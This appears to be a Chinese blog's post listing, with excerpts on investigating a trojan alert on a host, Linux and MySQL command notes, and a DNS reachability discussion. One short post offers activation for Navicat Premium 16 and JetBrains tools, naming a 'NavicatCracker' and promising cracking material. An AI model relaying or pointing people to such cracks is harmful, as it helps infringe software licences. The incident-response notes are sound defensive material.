3 次没响应则断开)。解释四:完全不理解“k”指什么?应对方法: 在面试中,如果遇到不确定的术语或问题,礼貌地请求澄清是完全可以接受的。“不好意思,请问您提到的‘没有默认 k’具体是指哪个功能或按键呢?”22. 安全设备告警显示木马,如何上机排查?这与 Q17(白加黑)、Q13(无文件 Shell)和之前的应急响应问题有共通之处,但更侧重于“已确认是木马”的告警。上机排查步骤(假设已收到告警,并准备登录受感染主机):告警信息确认与准备:明确告警细节:哪个安全设备(EDR、AV、NTA)?检测到的木马名称/家族是什么(如 Emotet, TrickBot, Cobalt Strike, Gh0st RAT)?这能帮助预判其行为特征和目标。告警涉及的文件路径、进程名、网络连接(IP/端口)是什么?安全设备采取了什么动作(仅告警、阻止、隔离文件、隔离主机)?告警时间戳?准备工具: 确保有 Process Explorer/Process Hacker, Autoruns, Sysmon (如果已安装), Wireshark (可选), Volatility (可选), 以及干净的 U 盘等。隔离主机:必须先隔离! 物理断网或逻辑隔离(EDR/NAC/交换机端口),防止木马进一步通信(C2连接、数据外传)或横向传播。主机存活分析(关键):查找恶意进程:根据告警信息中提到的进程名或关联进程进行查找 (tasklist, ps aux, Process Explorer)。即使告警中的文件被隔离,木马进程可能仍在内存中运行,或者有其他守护进程。重点关注:名称可疑、路径异常、无签名/无效签名、CPU/内存占用异常、父进程可疑的进程。检查网络连接:netstat -ano (Win), ss -antup (Linux)。查找与告警信息相关的连接,或连接到已知 C2 地址(可从木马家族信息或威胁情报获取)的连接。查找异常的监听端口(可能是后门)。分析进程详细信息:使用 Process Explorer 查看可疑进程的启动命令行、加载的模块 (DLLs/SOs - 检查有无 Sideloading)、内存字符串、句柄、线程等。内存取证(如果需要深入分析或无文件迹象):Dump 可疑进程内存或全物理内存。使用 Volatility 等工具分析,寻找注入代码 (malfind)、网络连接 (netscan)、命令历史 (cmdscan) 等木马活动痕迹。持久化机制排查:必须检查! 木马通常会设置持久化以在重启后存活。Windows: 使用 Autoruns 检查所有可能的自启动位置(注册表 Run 键、计划任务、服务、驱动、启动项、WMI 等)。Linux: 检查 cron、systemd 服务、init.d 脚本、.bashrc/.profile、LD_PRELOAD 等。文件系统排查:定位木马文件(如果未被完全隔离): 找到告警中提到的文件路径。查找关联文件: 木马可能释放配置文件、日志文件、临时文件、下载的二阶段载荷等。检查 %TEMP%, %APPDATA%, /tmp, /var/tmp 等目录。时间线分析: 查找在告警时间点前后创建或修改的文件 (find / -mtime -1, Windows 资源管理器按时间排序)。获取样本: 如果安全,获取木马样本文件(或隔离区的文件)的 Hash,提交到 VirusTotal 等平台获取详细分析报告和 IOCs。日志审计:Windows: 事件日志(Security 4688+命令行,Application,System),PowerShell 日志,Sysmon 日志。Linux: syslog, auth.log, auditd 日志。AV/EDR 日志: 查看更详细的检测历史和上下文。确定入侵途径和影响范围:入口点分析: 木马是如何进入系统的(钓鱼、漏洞、下载、U盘)?横向移动检查: 是否有迹象表明木马尝试连接或感染内网其他主机?(检查登录日志、网络流量日志)。数据泄露检查: 是否有大量可疑出站流量?清除与恢复:确认清除: 确保安全设备已有效清除或隔离了文件和相关项。手动清除: 终止恶意进程,删除残留文件,移除持久化项。系统重建: 对于木马感染,特别是后门类、RAT 类木马,强烈建议备份数据后进行系统重装,以确保彻底清除。密码重置: 修改该主机上的所有用户密码,以及可能被泄露的其他凭据。漏洞修复: 如果是通过漏洞入侵,务必修复。事后总结: 记录过程,分析原因,改进防护策略(加强端点防护规则、网络访问控制、用户培训等)。
2025年04月23日
2 阅读
0 评论
0 点赞
2024-03-24
Jet全家桶和Navicat激活(仅可用于学生学习使用)
NavicatPremium16 激活只能激活16.0和16.1,贴个16.0的链接NavicatPremium16NavicatCracker NavicatPremium16激活教程.pdfJet全家桶激活所有的资料都在里面
2024年03月24日
43 阅读
0 评论
1 点赞
2024-03-24
Linux常用命令
CentOS基础命令yum install -y net-tools # 和Ubuntu使用同一个network managerUbuntu进程查看 ps top# 查看进程四种命令 ps aux ps -elf top pstree -aup 以树状图的方式展现进程之间的派生关系,显示效果比较直观。 -a:显示每个程序的完整指令,包含路径,参数或是常驻服务的标示; -c:不使用精简标示法; -G:使用VT100终端机的列绘图字符; -h:列出树状图时,特别标明现在执行的程序; -H<程序识别码>:此参数的效果和指定"-h"参数类似,但特别标明指定的程序; -l:采用长列格式显示树状图; -n:用程序识别码排序。预设是以程序名称来排序; -p:显示程序识别码; -u:显示用户名称; 在top命令显示的页面还可以输入以下按键执行相应的功能(注意大小写区分的): ?:显示在top当中可以输入的命令 P:以CPU的使用资源排序显示 M:以内存的使用资源排序显示 N:以pid排序显示 T:由进程使用的时间累计排序显示 k:给某一个pid一个信号。可以用来杀死进程 r:给某个pid重新定制一个nice值(即优先级) q:退出top(用ctrl+c也可以退出top)压缩文件 tar zip1、tar –xvf file.tar //解压 tar包 2、tar -xzvf file.tar.gz //解压tar.gz 3、tar -xjvf file.tar.bz2 //解压 tar.bz2 4、tar –xZvf file.tar.Z //解压tar.Z 5、unrar e file.rar //解压rar 6、unzip file.zip //解压zip 1、tar -cvf xiaoq.tar xiaoq/ 2、zip -r ohnote.zip * .[^.]* 说明: -r 递归子目录 * 所有非隐藏文件/夹 .[^.]*(所有隐藏文件/夹,但排除..(上一级目录)) 3、services.msc 打开服务磁盘管理 mdadmmdadm -Cv md0 -l0 -n2 sdc sdd #创建RAID cat /proc/mdstat mkfs.ext4 sdc/sdd mdadm --stop /dev/sd0 #停止阵列 mdadm --misc --zero-superblock sdd/sdc #移出设备 mdadm -D /dev/md0 #查看阵列详情 mkfs -t ext4 /dev/md0 #格式化与挂载使用raid mdadm -Cv /dev/md0 -l10 -n4 /dev/sdb[1-4] #创建RAID10 cat /proc/进度mdsdat #查看RAID创建进度 mdadm -Cv /dev/md0 -l5 -n4 /dev/sdb[1-3] #创建RAID5 mdadm -f /dev/md0 /dev/sdb1 #模拟硬盘损坏 mdadm -r /dev/md0 /dev/sdb1 #热移出故障盘 mkfs.ext4 /dev/md0 #格式化阵列端口查询 netstatnetstat -a # 列出所有端口 netstat -at # 列出所有TCP端口 netstat -au # 列出所有UDP端口 netstat -ax # 列出所有unix端口 netstat -atnlp # 直接使用ip地址列出所有处理监听状态的TCP端口,且加上程序名 netstat -ant # 查看服务器所有被占用端口 netstat -tunlp | grep 端口号 # 验证某个端口号是否被占用 netstat -lntp # 查看所有监听端口号fdisk,使用参考[root@localhost ~]# fdisk /dev/sdb 欢迎使用 fdisk (util-linux 2.23.2)。 更改将停留在内存中,直到您决定将更改写入磁盘。 使用写入命令前请三思。 Device does not contain a recognized partition table 使用磁盘标识符 0x155d620b 创建新的 DOS 磁盘标签。 命令(输入 m 获取帮助):m 命令操作 a toggle a bootable flag # 切换可启动标志 b edit bsd disklabel # 编辑bsd磁盘标签 c toggle the dos compatibility flag # 切换dos兼容性标识 d delete a partition # 删除分区 g create a new empty GPT partition table # 创建一个新的GPT分区表 G create an IRIX (SGI) partition table # 创建一个IRIX(SGI)分区表 l list known partition types # 列出已知的分区类型 m print this menu # 打印此菜单 n add a new partition # 添加一个新分区 o create a new empty DOS partition table # 创建一个新的DOS分区表 p print the partition table # 打印分区表 q quit without saving changes # 退出而不保存更改 s create a new empty Sun disklabel # 创建一个新的空Sun磁盘标签 t change a partition`s system id # 更改分区的系统ID u change display/entry units # 更改显示/输入单位 v verify the partition table # 验证分区表 w write table to disk and exit # 将分区表写入磁盘并退出 x extra functionality (experts only) # 额外功能(专家模式)PVE重启网络服务systemctl restart networking.service systemctl enable networking.service查看网络状态systemctl status networking.service修改SMB挂载密码 vi /etc/pve/priv/storage/loca-Win10.pw
2024年03月24日
30 阅读
0 评论
0 点赞
2024-03-24
在DNS中,国际互联网与国内网络有没有互通
@木村·星辰的观点是和根服务器(及镜像污染)有关,国际互联网不再信任中国的 DNS 服务器。但这个说法实际上是很荒谬的,也可以通过实验快速验证。本回答就旨在说明这一问题。 首先从DNS的解析过程入手。不考虑 DNSSEC 等因素,仅讨论最简单的情况,一个典型的解析过程如下:用户请求本地 DNS,本地 DNS 从根开始一步步解析,其中每一步都是获取 NS 记录 和 A(或者 AAAA)记录,最终查询到用户请求的记录。 根服务器中存储了什么?存储了各个 TLD 的 NS 记录和 A/AAAA 记录。具体的记录由 ICANN 旗下的 IANA 保管,内容见 Root Files。全世界所有的根服务器及其镜像的内容都是一致的。 .cn的信息也不例外。在任何一个根服务器的 中,都可以查询到 .cn 正确的 delegation 信息。这一结论可以通过 'dig cn NS 任意一个根' 来快速验证。那么,只要授权 DNS 工作正常,没有理由认为 .cn 会被整个屏蔽。 历史上有没有发生过整个 TLD 被屏蔽的事件?有。早年间曾经发生过伊拉克的 .iq TLD 被整个从根服务器中删除的例子。然而这个例子在今天不适用:.cn 仍在根服务器中活得好好的。 说到底,互联网是一个分布式的系统,“国际互联网”本身就是一个伪概念。互联网有许多组成部分,哪些部分是“国际互联网”呢?事实上,并没有一个部分能完全担得起这个概念。因此,“不被国际互联网信任”本身从逻辑上就无法成立。 我们可以试想一下,假如“[国际互联网]”中的某个部分想屏蔽 .cn 该怎么做。某个运营商可以控制旗下的 DNS,拒绝解析 .cn。或者某个国家的政府可以如此规定。然而,这种做法终究只是某个或某些特定运营商的,很难具有普遍性,更不可能扩散到整个”国际互联网“。 如果上述分析还不足以令人信服,我们通过实验来核实一下就行了。实验利用 RIPE Atlas,这是一个包含了成千上万的家宽、商宽、服务器甚至是卫星连接的巨大监控网络,而我恰好有节点在其中,有资源可以发起全球规模的测试。话不多说,直接上测试结果:Atlas Console 上面的链接无需登录就能打开。测试目标是新华网。新华网的 DNS 全部位于境内。测试节点选用了全世界内 1000 个随机节点(但只有 994 个实际参与)。这个样本量已经足够大了。结果表明,绝大多数的测试节点都能够正常完成解析,而剩下不能完成解析的节点中很有可能也是因网络延迟问题(因为众所周知的原因,跨境网络连接不佳)。至少,绝对不存在 @木村·星辰所说的”国际互联网不信任中国 DNS“这件事。以上,如有不严谨之处欢迎评论区指点。行了,前几天的评论又给我吞了,今天才发现。原样贴过来算了。纯技术问题知乎怎么还吞评论这么严重的。本来是回复@木村·星辰的。 经过查询,我确认了 .cn的确有两个授权 DNS 在境外,不知是不是就是你所说的“镜像”。30s 这个限制实际上是有些不合理的。不考虑缓存因素,当 DNS 记录被修改时(增删改都算),master 会通知 slave 变更,slave 则会在收到通知后发起 AXFR。这个过程即使不考虑众所周知的那个因素,也常常需要一定时间来完成。例如,HE 运营的免费 slave 就常常需要数分钟时间来响应更新请求。可以认为,DNS 记录的更新本就不是实时的,是需要一定时间传播的。不考虑缓存的情况下,存在数十秒延迟是很正常的事,并不能认为是被“阻断”了。实际上我也完成了一项小测试,使用我自己的 .cn 域名测试了伦敦的授权 DNS 的反应速度。我采用了设置 Glue Record 的方法,经过我的测试,设置完成后 20 秒之内信息就同步了,至少我的实验无法支持“境外镜像包含错误信息”这一结论。至于 8.8.8.8 怎么选取 .cn 的授权 DNS,这个我没有找到互联网上的公开信息。如果你有更多信息的话也欢迎提供下,咱们一起分析。
2024年03月24日
23 阅读
0 评论
0 点赞
2024-03-24
MySQL常用指令
create,创建数据库CREATE TABLE USER ( id INT PRIMARY KEY, age INT, NAME VARCHAR ( 255 ));schema,等同数据库-- 翻译过来是在MySQL中,schema实际上等同于database。你可以用关键字SCHEMA代替MySQL SQL语法中的DATABASE,例如用CREATE SCHEMA代替CREATE DATABASE。 CREATE SCHEMA Learn; # 相当于创建一个数据库drop,删除表-- 删除一个表,CASCADE:如果有外键一并删除。删除模式:CASCADE(删除模式的同时删除所有的数据库对象) 或者 RESTRICT(该模式有下属对象,例如表视图就拒绝这个删除语句的执行) DROP TABLE USER CASCADE;alter ,修改表ALTER TABLE student ADD S_entrance DATE; ALTER TABLE student CHANGE COLUMN Sage Sage INT; # 修改表中某个字段数据类型 -- >alter table 表名称 change 字段原名称 字段新名称 字段类型 [是否允许非空]; index,索引CREATE UNIQUE INDEX Stusno ON student(Sno); -- unique唯一索引,cluster聚簇索引 ALTER TABLE student RENAME INDEX stusno TO STSno; -- 修改索引名字 ALTER TABLE student DROP INDEX stsno; -- 删除索引select,查询SELECT * FROM course; -- 查询所有的 SELECT Cno,Cpno FROM course; -- 查询部分字段 SELECT Sname 姓名,Sage as 年龄 FROM student -- 别名 SELECT DISTINCT Cname FROM course; -- 结果去重条件查询SELECT * FROM sc WHERE Grade > 20; SELECT * FROM sc WHERE Grade BETWEEN 80 AND 90; SELECT * FROM sc WHERE Grade in (80); -- 查询集合 SELECT * FROM sc WHERE Sno LIKE "2012%1" ; -- 模糊匹配,要查询的字符串本身含有通配符%或者_,这个时候使用\进行转义 SELECT * FROM sc ORDER BY Grade DESC; -- 从大到小排序,去掉desc就是反过来聚集函数count(*) -- 统计元祖个数 count sum avg max min,都可以使用distinct去除列里重复的,all可以统计全部、 SELECT COUNT(Cname) FROM course; SELECT COUNT(DISTINCT Cname) FROM course; SELECT Sno,COUNT(*) FROM sc GROUP BY Sno; SELECT Sno FROM sc GROUP BY Sno HAVING Sno="2%"; having 进行分组连接SELECT t.*,c.* FROM edu_teacher t,edu_course c WHERE t.id=c.teacher_id; -- 非等值连接,以where为关键词 SELECT c1.version,c2.version FROM edu_course c1,edu_course c2 WHERE c1.version=c2.version; -- 自身与自身连接,为本身的这个表起两个别名 SELECT student.Sno,Sname,Ssex,Sage,Sdept,Cno,Grade FROM student LEFT [OUTER] JOIN sc ON (student.Sno=sc.Sno); # left join(左连接)会返回左表中的所有行,即使在右表中没有匹配的行。如果右表中没有匹配的行,则相应的列会用空值(null)填充。这种连接方式可以显示左表中的所有信息,即使这些信息在右表中没有对应的记录。 多表查询SELECT c.id ID,c.title 课程名 FROM edu_course c,edu_chapter cp; 嵌套查询SELECT * FROM edu_course c WHERE c.title in (SELECT edu_course.title FROM edu_course WHERE edu_course.title LIKE 'j%') # 后面跟着集合带有any,all ,exit,no exit的子查询# any 查询记过中的某个值 all 查询结果中的所有值联合查询,unionSELECT * FROM student WHERE Sdept='CS' UNION SELECT * FROM student WHERE Sage >19; # 查询列数必须保持一致 # 列值类型和顺序最好保持一致 # UNION 默认去重 , 可以使用UNION ALL数据插入 修改 删除CREATE TABLE test(id int, name VARCHAR(20),age int); -- 添加 INSERT INTO test (id,name,age)VALUES(0,12,22); -- 标准添加 INSERT INTO test(name,id)VALUES(13,1); -- 部分字段添加 INSERT INTO test VALUE(2,12,12); -- 不指定添加 -- 修改 UPDATE test SET id=12 WHERE id=0 -- 删除 DELETE FROM test WHERE id=12;视图虚表,即一组数据的逻辑标识,其本质是一条select语句,结果集被赋予一个名字,即视图名字-- 创建视图 CREATE VIEW IS_Student AS SELECT Sno,Sname FROM student WHERE Sdept='IS' -- 查询视图 SELECT * FROM is_student -- 删除视图,级联删除 DROP VIEW IS_Student CASCADE -- 防止用户对不属于视图范围的操作进行拒绝,对该视图进行操作时,会自动加上 Sdept='IS'的条件 CREATE VIEW IS_Student as SELECT Sno,Sname,Sage FROM student WHERE Sdept='IS' WITH CHECK OPTION -- 更新视图,因为视图是不存在的,所以对是视图的操作最终反映到基本表的操作数据库的安全性-- 加上 with grant option可以吧权限授予其他用户 GRANT 权限 ON 表名[(列名)] TO 用户 WITH GRANT OPTION REVOKE -- 回收权限
2024年03月24日
18 阅读
1 评论
1 点赞
1
2
...
5